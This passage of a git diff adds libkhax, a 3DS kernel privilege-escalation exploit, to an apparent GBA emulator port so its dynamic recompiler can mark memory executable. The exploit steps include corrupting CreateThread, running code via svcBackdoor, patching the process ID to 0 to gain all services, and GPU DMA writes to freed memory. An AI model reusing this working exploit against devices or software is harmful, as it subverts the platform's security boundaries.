svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle); + if (result != 0) + { + // Attempt patching back anyway, for stability reasons. + svcBackdoor(Step7b_UnpatchPID); + KHAX_printf("Step7:GetPID2 fail:%08lx\n", result); + return result; + } + + if (newPID != 0) + { + KHAX_printf("Step7:nonzero:%lu\n", newPID); + return MakeError(27, 11, KHAX_MODULE, 1023); + } + + // Reinit ctrulib's srv connection to gain access to all services. + srvExit(); + srvInit(); + + // Restore the original PID now that srv has been tricked into thinking that we're PID 0. + svcBackdoor(Step7b_UnpatchPID); + + // Check whether PID restoring succeeded. + result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle); + if (result != 0) + { + KHAX_printf("Step7:GetPID3 fail:%08lx\n", result); + return result; + } + + if (newPID != m_originalPID) + { + KHAX_printf("Step7:not same:%lu\n", newPID); + return MakeError(27, 11, KHAX_MODULE, 1023); + } + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Patch the PID to 0. +Result KHAX::MemChunkHax::Step7a_PatchPID() +{ + // Disable interrupts ASAP. + // FIXME: Need a better solution for this. + __asm__ volatile("cpsid aif"); + + // Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers + // to translate the raw KProcess pointer into pointers into key fields, and we access the + // m_processID field from it. + *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr) + .m_processID) = 0; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Restore the original PID. +Result KHAX::MemChunkHax::Step7b_UnpatchPID() +{ + // Disable interrupts ASAP. + // FIXME: Need a better solution for this. + __asm__ volatile("cpsid aif"); + + // Patch the PID back to the original value. + *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr) + .m_processID) = s_instance->m_originalPID; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Helper for dumping memory to SD card. +template +bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const +{ + char formatted[32]; + snprintf(formatted, KHAX_lengthof(formatted), filename, + static_cast(m_versionData->m_kernelVersion), m_versionData->m_new3DS ? + "New" : "Old"); + + bool result = true; + + FILE *file = std::fopen(formatted, "wb"); + if (file) + { + result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1); + std::fclose(file); + } + else + { + result = false; + } + + return result; +} + +//------------------------------------------------------------------------------------------------ +// Free memory and such. +KHAX::MemChunkHax::~MemChunkHax() +{ + // Dump memory to SD card if that is enabled. +#ifdef KHAX_DEBUG_DUMP_DATA + if (m_nextStep > 6) + { + DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin"); + DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin"); + DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin"); + } +#endif + + // If we're corrupted, we're dead. + if (m_corrupted > 0) + { + KHAX_printf("~:error while corrupt;freezing\n"); + for (;;) + { + svcSleepThread(s64(60) * 1000000000); + } + } + + // This function has to be careful not to crash trying to shut down after an aborted attempt. + if (m_overwriteMemory) + { + u32 dummy; + + // Each page has a flag indicating that it is still allocated. + for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x) + { + // Don't free a page unless it remains allocated. + if (m_overwriteAllocated & (1u << x)) + { + Result res = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[x]), 0, + sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast(0)); + KHAX_printf("free %u: %08lx\n", x, res); + } + } + } + + // Free the extra linear memory. + if (m_extraLinear) + { + linearFree(m_extraLinear); + } + + // s_instance better be us + if (s_instance != this) + { + KHAX_printf("~:s_instance is wrong\n"); + } + else + { + s_instance = nullptr; + } +} + + +//------------------------------------------------------------------------------------------------ +// +// Miscellaneous +// + +//------------------------------------------------------------------------------------------------ +// Make an error code +inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error) +{ + return (level << 27) + (summary << 21) + (module << 10) + error; +} + +//------------------------------------------------------------------------------------------------ +// Check whether this system is a New 3DS. +Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown) +{ + // If the kernel version isn't already known by the caller, find out. + u32 kernelVersion = kernelVersionAlreadyKnown; + if (kernelVersion == 0) + { + kernelVersion = osGetKernelVersion(); + } + + // APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist. + if (kernelVersion >= SYSTEM_VERSION(2, 44, 6)) + { + // Check whether the system is a New 3DS. If this fails, abort, because being wrong would + // crash the system. + u8 isNew3DS = 0; + if (Result error = APT_CheckNew3DS(nullptr, &isNew3DS)) + { + *answer = false; + return error; + } + + // Use the result of APT_CheckNew3DS. + *answer = isNew3DS != 0; + return 0; + } + + // Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS. + *answer = false; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// gspwn, meant for reading from or writing to freed buffers. +Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait) +{ + // Attempt a flush of the source, but ignore the result, since we may have just been asked to + // read unmapped memory or something similar. + GSPGPU_FlushDataCache(nullptr, static_cast(const_cast(src)), size); + + // Invalidate the destination's cache, since we're about to overwrite it. Likewise, ignore + // errors, since it may be the destination that is an unmapped address. + GSPGPU_InvalidateDataCache(nullptr, static_cast(dest), size); + + // Copy that floppy. + if (Result result = GX_SetTextureCopy(nullptr, static_cast(const_cast(src)), 0, + static_cast(dest), 0, size, 8)) + { + KHAX_printf("gspwn:copy fail:%08lx\n", result); + return result; + } + + // Wait for the operation to finish. + if (wait) + { + gspWaitForPPF(); + } + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Given a pointer to a structure that is a member of another structure, +// return a pointer to the outer structure. Inspired by Windows macro. +template +Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field) +{ + unsigned char *p = reinterpret_cast(member); + p -= reinterpret_cast(&(static_cast(nullptr)->*field)); + return reinterpret_cast(p); +} + +//------------------------------------------------------------------------------------------------ +// Main initialization function interface. +extern "C" Result khaxInit() +{ + using namespace KHAX; + +#ifdef KHAX_DEBUG + bool isNew3DS; + IsNew3DS(&isNew3DS, 0); + KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(), + isNew3DS); +#endif + + // Look up the current system's version in our table. + const VersionData *versionData = VersionData::GetForCurrentSystem(); + if (!versionData) + { + KHAX_printf("khaxInit: Unknown kernel version\n"); + return MakeError(27, 6, KHAX_MODULE, 39); + } + + KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress, + versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress); + + // Create the hack object. + MemChunkHax hax{ versionData }; + + // Run through the steps. + if (Result result = hax.Step1_Initialize()) + { + KHAX_printf("khaxInit: Step1 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step2_AllocateMemory()) + { + KHAX_printf("khaxInit: Step2 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step3_SurroundFree()) + { + KHAX_printf("khaxInit: Step3 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step4_VerifyExpectedLayout()) + { + KHAX_printf("khaxInit: Step4 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step5_CorruptCreateThread()) + { + KHAX_printf("khaxInit: Step5 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step6_ExecuteSVCCode()) + { + KHAX_printf("khaxInit: Step6 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step7_GrantServiceAccess()) + { + KHAX_printf("khaxInit: Step7 failed: %08lx\n", result); + return result; + } + + KHAX_printf("khaxInit: done\n"); + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Shut down libkhax. Doesn't actually do anything at the moment, since khaxInit does everything +// and frees all memory on the way out. +extern "C" Result khaxExit() +{ + return 0; +} diff --git a/3ds/libkhax/khaxinternal.h b/3ds/libkhax/khaxinternal.h new file mode 100644 index 0000000..5d83eab --- /dev/null +++ b/3ds/libkhax/khaxinternal.h @@ -0,0 +1,339 @@ +#pragma once + +#define KHAX_DEBUG +//#define KHAX_DEBUG_DUMP_DATA + +#ifdef KHAX_DEBUG + #define KHAX_printf(...) printf(__VA_ARGS__), gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers() +#else + #define KHAX_printf static_cast +#endif + +// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never +// actually compile this program. +#ifdef _MSC_VER + #undef ALIGN + #define ALIGN(x) __declspec(align(x)) + #if _MSC_VER < 1900 + #define alignof __alignof + #endif + #define KHAX_ATTRIBUTE(...) +#else + #define KHAX_ATTRIBUTE(...) __VA_ARGS__ +#endif + +#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0])) + +//------------------------------------------------------------------------------------------------ +namespace KHAX +{ + //------------------------------------------------------------------------------------------------ + // This code uses offsetof illegally (i.e. on polymorphic classes). + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Winvalid-offsetof" + + //------------------------------------------------------------------------------------------------ + // General linked list node kernel object. + struct KLinkedListNode + { + KLinkedListNode *next; + KLinkedListNode *prev; + void *data; + }; + static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size."); + + //------------------------------------------------------------------------------------------------ + // Base class of reference-counted kernel objects. + class KAutoObject + { + public: + u32 m_refCount; // +004 + + protected: + virtual ~KAutoObject() {} + }; + static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size."); + static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Base class of synchronizable objects. + class KSynchronizationObject : public KAutoObject + { + public: + u32 m_threadSyncCount; // +008 + KLinkedListNode *m_threadSyncFirst; // +00C + KLinkedListNode *m_threadSyncLast; // +010 + }; + static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size."); + static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008, + "KSynchronizationObject isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + struct KDebugThread; + struct KThreadLocalPage; + class KCodeSet; + + //------------------------------------------------------------------------------------------------ + // Unofficial name + typedef u8 KSVCACL[0x80 / 8]; + + //------------------------------------------------------------------------------------------------ + // ARM VFP register + union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister + { + float m_single[2]; + double m_double; + }; + static_assert(alignof(VFPRegister) == 0x004, + "VFPRegister isn't the expected alignment."); + static_assert(sizeof(VFPRegister) == 0x008, + "VFPRegister isn't the expected size."); + + //------------------------------------------------------------------------------------------------ + // SVC-mode register save area. + // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000 + struct SVCRegisterState + { + u32 m_r4; // +000 + u32 m_r5; // +004 + u32 m_r6; // +008 + u32 m_r7; // +00C + u32 m_r8; // +010 + u32 m_r9; // +014 + u32 m_sl; // +018 + u32 m_fp; // +01C + u32 m_sp; // +020 + u32 m_lr; // +024 + }; + static_assert(sizeof(SVCRegisterState) == 0x028, + "SVCRegisterState isn't the expected size."); + + //------------------------------------------------------------------------------------------------ + // SVC-mode thread state structure. This is the last part of the per- + // thread page allocated in 0xFF4XX000. + // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000 + struct SVCThreadArea + { + KSVCACL m_svcAccessControl; // +000 + u32 m_unknown010; // +010 + u32 m_unknown014; // +014 + SVCRegisterState m_svcRegisterState; // +018 + VFPRegister m_vfpRegisters[16]; // +040 + u32 m_unknown0C4; // +0C0 + u32 m_fpexc; // +0C4 + }; + static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018, + "ThreadSVCArea isn't the expected layout."); + static_assert(sizeof(SVCThreadArea) == 0x0C8, + "ThreadSVCArea isn't the expected size."); + + //------------------------------------------------------------------------------------------------ + // Kernel's internal structure of a thread object. + class KThread : public KSynchronizationObject + { + public: + u32 m_unknown014; // +014 + u32 m_unknown018; // +018 + u32 m_unknown01C; // +01C + u32 m_unknown020; // +020 + u32 m_unknown024; // +024 + u32 m_unknown028; // +028 + u32 m_unknown02C; // +02C + u32 m_unknown030; // +030 + u32 m_unknown034; // +034 + KDebugThread *m_debugThread; // +038 + s32 m_threadPriority; // +03C + void *m_waitingOnObject; // +040 + u32 m_unknown044; // +044 + KThread **m_schedulerUnknown048; // +048 + void *m_arbitrationAddress; // +04C + u32 m_unknown050; // +050 + u32 m_unknown054; // +054 + u32 m_unknown058; // +058 + KLinkedListNode *m_waitingOnList; // +05C + u32 m_unknownListCount; // +060 + KLinkedListNode *m_unknownListHead; // +064 + KLinkedListNode *m_unknownListTail; // +068 + s32 m_threadPriority2; // +06C + s32 m_creatingProcessor; // +070 + u32 m_unknown074; // +074 + u32 m_unknown078; // +078 + u16 m_unknown07C; // +07C + u8 m_threadType; // +07E + u8 m_padding07F; // +07F + void *m_process; // +080 + u32 m_threadID; // +084 + SVCRegisterState *m_svcRegisterState; // +088 + void *m_svcPageEnd; // +08C + s32 m_idealProcessor; // +090 + void *m_tlsUserMode; // +094 + void *m_tlsKernelMode; // +098 + u32 m_unknown09C; // +09C + KThread *m_prev; // +0A0 + KThread *m_next; // +0A4 + KThread **m_temporaryLinkedList; // +0A8 + u32 m_unknown0AC; // +0B0 + }; + static_assert(sizeof(KThread) == 0x0B0, + "KThread isn't the expected size."); + static_assert(offsetof(KThread, m_svcRegisterState) == 0x088, + "KThread isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Kernel's internal structure of a process object. + // Version 1.0.0(?) - 7.2.0 + class KProcess_1_0_0_Old : public KSynchronizationObject + { + public: + u32 m_unknown014; // +014 + u32 m_unknown018; // +018 + KThread *volatile m_interactingThread; // +01C + u16 m_unknown020; // +020 + u16 m_unknown022; // +022 + u32 m_unknown024; // +024 + u32 m_unknown028; // +028 + u32 m_memoryBlockCount; // +02C + KLinkedListNode *m_memoryBlockFirst; // +030 + KLinkedListNode *m_memoryBlockLast; // +034 + u32 m_unknown038; // +038 + u32 m_unknown03C; // +03C + void *m_translationTableBase; // +040 + u8 m_contextID; // +044 + u32 m_unknown048; // +048 + u32 m_unknown04C; // +04C + u32 m_mmuTableSize; // +050 + void *m_mmuTableAddress; // +054 + u32 m_threadContextPagesSize; // +058 + u32 m_threadLocalPageCount; // +05C + KLinkedListNode *m_threadLocalPageFirst; // +060 + KLinkedListNode *m_threadLocalPageLast; // +064 + u32 m_unknown068; // +068 + s32 m_idealProcessor; // +06C + u32 m_unknown070; // +070 + void *m_resourceLimits; // +074 + u8 m_unknown078; // +078 + u8 m_affinityMask; // +079 + u32 m_threadCount; // +07C + KSVCACL m_svcAccessControl; // +080 + u32 m_interruptFlags[0x80 / 32]; // +090 + u32 m_kernelFlags; // +0A0 + u16 m_handleTableSize; // +0A4 + u16 m_kernelReleaseVersion; // +0A6 + KCodeSet *m_codeSet; // +0A8 + u32 m_processID; // +0AC + u32 m_kernelFlags2; // +0B0 + u32 m_unknown0B4; // +0B4 + KThread *m_mainThread; // +0B8 + //...more... + }; + static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080, + "KProcess_1_0_0_Old isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Kernel's internal structure of a process object. + // Old 3DS Version 8.0.0 - 9.5.0... + class KProcess_8_0_0_Old : public KSynchronizationObject + { + public: + u32 m_unknown014; // +014 + u32 m_unknown018; // +018 + KThread *volatile m_interactingThread; // +01C + u16 m_unknown020; // +020 + u16 m_unknown022; // +022 + u32 m_unknown024; // +024 + u32 m_unknown028; // +028 + u32 m_memoryBlockCount; // +02C + KLinkedListNode *m_memoryBlockFirst; // +030 + KLinkedListNode *m_memoryBlockLast; // +034 + u32 m_unknown038; // +038 + u32 m_unknown03C; // +03C + void *m_translationTableBase; // +040 + u8 m_contextID; // +044 + u32 m_unknown048; // +048 + void *m_userVirtualMemoryEnd; // +04C + void *m_userLinearVirtualBase; // +050 + u32 m_unknown054; // +054 + u32 m_mmuTableSize; // +058 + void *m_mmuTableAddress; // +05C + u32 m_threadContextPagesSize; // +060 + u32 m_threadLocalPageCount; // +064 + KLinkedListNode *m_threadLocalPageFirst; // +068 + KLinkedListNode *m_threadLocalPageLast; // +06C + u32 m_unknown070; // +070 + s32 m_idealProcessor; // +074 + u32 m_unknown078; // +078 + void *m_resourceLimits; // +07C + u32 m_unknown080; // +080 + u32 m_threadCount; // +084 + u8 m_svcAccessControl[0x80 / 8]; // +088 + u32 m_interruptFlags[0x80 / 32]; // +098 + u32 m_kernelFlags; // +0A8 + u16 m_handleTableSize; // +0AC + u16 m_kernelReleaseVersion; // +0AE + KCodeSet *m_codeSet; // +0B0 + u32 m_processID; // +0B4 + u32 m_unknown0B8; // +0B8 + u32 m_unknown0BC; // +0BC + KThread *m_mainThread; // +0C0 + //...more... + }; + static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088, + "KProcess_8_0_0_Old isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Kernel's internal structure of a process object. + // New 3DS Version 8.0.0 - 9.5.0... + class KProcess_8_0_0_New : public KSynchronizationObject + { + public: + u32 m_unknown014; // +014 + u32 m_unknown018; // +018 + KThread *volatile m_interactingThread; // +01C + u16 m_unknown020; // +020 + u16 m_unknown022; // +022 + u32 m_unknown024; // +024 + u32 m_unknown028; // +028 + u32 m_unknown02C; // +02C new to New 3DS + u32 m_unknown030; // +030 new to New 3DS + u32 m_memoryBlockCount; // +034 + KLinkedListNode *m_memoryBlockFirst; // +038 + KLinkedListNode *m_memoryBlockLast; // +03C + u32 m_unknown040; // +040 + u32 m_unknown044; // +044 + void *m_translationTableBase; // +048 + u8 m_contextID; // +04C + u32 m_unknown050; // +050 + void *m_userVirtualMemoryEnd; // +054 + void *m_userLinearVirtualBase; // +058 + u32 m_unknown05C; // +05C + u32 m_mmuTableSize; // +060 + void *m_mmuTableAddress; // +064 + u32 m_threadContextPagesSize; // +068 + u32 m_threadLocalPageCount; // +06C + KLinkedListNode *m_threadLocalPageFirst; // +070 + KLinkedListNode *m_threadLocalPageLast; // +074 + u32 m_unknown078; // +078 + s32 m_idealProcessor; // +07C + u32 m_unknown080; // +080 + void *m_resourceLimits; // +084 + u32 m_unknown088; // +088 + u32 m_threadCount; // +08C + u8 m_svcAccessControl[0x80 / 8]; // +090 + u32 m_interruptFlags[0x80 / 32]; // +0A0 + u32 m_kernelFlags; // +0B0 + u16 m_handleTableSize; // +0B4 + u16 m_kernelReleaseVersion; // +0B6 + KCodeSet *m_codeSet; // +0B8 + u32 m_processID; // +0BC + u32 m_unknown0C0; // +0C0 + u32 m_unknown0C4; // +0C4 + KThread *m_mainThread; // +0C8 + //...more... + }; + static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090, + "KProcess_8_0_0_New isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Done using illegal offsetof + #pragma GCC diagnostic pop +} diff --git a/Makefile b/Makefile index 1180d28..0f90efd 100644 --- a/Makefile +++ b/Makefile @@ -209,7 +209,7 @@ else ifeq ($(platform), ctr) CFLAGS += -Wall -mword-relocations CFLAGS += -fomit-frame-pointer -ffast-math CPU_ARCH := arm - # dynarec currently requires ninjahax to work + # dynarec unavailable on ninjhax 2.0 HAVE_DYNAREC = 1 STATIC_LINKING = 1 @@ -322,6 +322,7 @@ ifeq ($(CPU_ARCH), arm) DEFINES += -DARM_ARCH endif + WARNINGS_DEFINES = CODE_DEFINES = @@ -334,6 +335,23 @@ ifeq ($(FRONTEND_SUPPORTS_RGB565), 1) endif +ifeq ($(platform), ctr) +ifeq ($(HAVE_DYNAREC), 1) +OBJECTS += 3ds/3ds_utils.o 3ds/libkhax/khaxinit.o + +ifeq ($(strip $(CTRULIB)),) +$(error "Please set CTRULIB in your environment. export CTRULIB=ctrulib") +endif + +CFLAGS += -I$(CTRULIB)/include + +3ds/libkhax/khaxinit.o: 3ds/libkhax/khaxinit.cpp + $(CXX) $(INCFLAGS) $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 $(OPTIMIZE) -c -o $@ $< + +endif +endif + + ifeq ($(platform), theos_ios) COMMON_FLAGS := -DIOS $(COMMON_DEFINES) $(INCFLAGS) -I$(THEOS_INCLUDE_PATH) -Wno-error $(LIBRARY_NAME)_CFLAGS += $(COMMON_FLAGS) $(CFLAGS) diff --git a/cpu_threaded.c b/cpu_threaded.c index 5f52cb7..cb7c1c2 100644 --- a/cpu_threaded.c +++ b/cpu_threaded.c @@ -234,8 +234,8 @@ extern u8 bit_count[256]; #if defined(PSP_BUILD) #define translate_invalidate_dcache() sceKernelDcacheWritebackAll() #elif defined(_3DS) -int32_t HB_FlushInvalidateCache(); -#define translate_invalidate_dcache() HB_FlushInvalidateCache() +#include "3ds/3ds_utils.h" +#define translate_invalidate_dcache() ctr_flush_invalidate_cache() #define invalidate_icache_region(addr, size) (void)0 #elif defined(ARM_ARCH) static int sys_cacheflush(void *addr, unsigned long size) diff --git a/libretro.c b/libretro.c index bd3ade8..336fb0d 100644 --- a/libretro.c +++ b/libretro.c @@ -12,11 +12,11 @@ void* linearMemAlign(size_t size, size_t alignment); void linearFree(void* mem); #if defined(HAVE_DYNAREC) -int32_t hbInit(void); -void hbExit(void); -int32_t HB_FlushInvalidateCache(void); -int32_t HB_ReprotectMemory(void* addr, uint32_t pages, uint32_t mode, uint32_t* reprotectedPages); -int hb_service_available; +#include "3ds/3ds_utils.h" +#define MEMOP_PROT 6 +int32_t svcDuplicateHandle(uint32_t* out, uint32_t original); +int32_t svcControlProcessMemory(uint32_t process, void* addr0, void* addr1, uint32_t size, uint32_t type, uint32_t perm); +int ctr_has_full_svc_access; #endif #endif @@ -117,16 +117,19 @@ void retro_init(void) init_gamepak_buffer(); init_sound(1); #if defined(_3DS) && defined(HAVE_DYNAREC) - hb_service_available = !hbInit(); - if (hb_service_available) + ctr_has_full_svc_access = ctr_svchack_init(); + if (ctr_has_full_svc_access) { - HB_ReprotectMemory(rom_translation_cache, - ROM_TRANSLATION_CACHE_SIZE / 0x1000, 0b111, NULL); - HB_ReprotectMemory(ram_translation_cache, - RAM_TRANSLATION_CACHE_SIZE / 0x1000, 0b111, NULL); - HB_ReprotectMemory(bios_translation_cache, - BIOS_TRANSLATION_CACHE_SIZE / 0x1000, 0b111, NULL); - HB_FlushInvalidateCache(); + uint32_t currentHandle; + svcDuplicateHandle(¤tHandle, 0xFFFF8001); + svcControlProcessMemory(currentHandle, rom_translation_cache, 0x0, + ROM_TRANSLATION_CACHE_SIZE, MEMOP_PROT, 0b111); + svcControlProcessMemory(currentHandle, ram_translation_cache, 0x0, + RAM_TRANSLATION_CACHE_SIZE, MEMOP_PROT, 0b111); + svcControlProcessMemory(currentHandle, bios_translation_cache, 0x0, + BIOS_TRANSLATION_CACHE_SIZE, MEMOP_PROT, 0b111); + + ctr_flush_invalidate_cache(); } #endif @@ -149,7 +152,7 @@ void retro_deinit(void) munmap(bios_translation_cache, BIOS_TRANSLATION_CACHE_SIZE); #endif #if defined(_3DS) && defined(HAVE_DYNAREC) - hbExit(); + ctr_svchack_exit(); #endif #ifdef _3DS linearFree(gba_screen_pixels); @@ -315,7 +318,7 @@ bool retro_load_game(const struct retro_game_info* info) ram_translation_ptr = ram_translation_cache; bios_translation_ptr = bios_translation_cache; #elif defined(_3DS) - if(!hb_service_available) + if(!ctr_has_full_svc_access) dynarec_enable = 0; #endif }